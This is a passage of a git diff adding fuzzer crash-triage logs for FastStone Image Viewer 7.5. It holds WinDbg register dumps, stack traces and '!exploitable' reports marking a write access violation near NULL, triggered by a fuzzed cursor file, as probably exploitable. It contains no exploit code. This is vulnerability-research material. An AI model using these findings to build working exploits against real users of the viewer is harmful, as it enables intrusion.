image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45672/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45672/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..1b47ef6 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45672/WindowsDebugEngine_description.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1610: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1610: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1610.f24): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e87b19 edx=00000000 esi=00000000 edi=0f81efd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.726973302933177440000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=9.82545e+008 6.90849e+021 1.74438e+006 3.24706e-028 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f68130 07ee5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00326000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00326000 7e751118 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00326000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45672/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45672/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..236ec72 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45672/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/457/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/457/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/457/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/457/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/457/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..9a6bd65 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/457/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/457/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/457/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..ff884bf --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/457/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xF38: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xF38: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(f38.f58): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07e37b19 edx=00000000 esi=00000000 edi=0f694fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.712899554094367840000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 2.161401200000000000000e+0007 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.13732e+037 7.1048e+017 6.32737e-008 2.50983e-017 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f18130 07e95930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003f0000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003f0000 1aeffeb9 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b4 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003f0000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/457/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/457/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..ff884bf --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/457/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 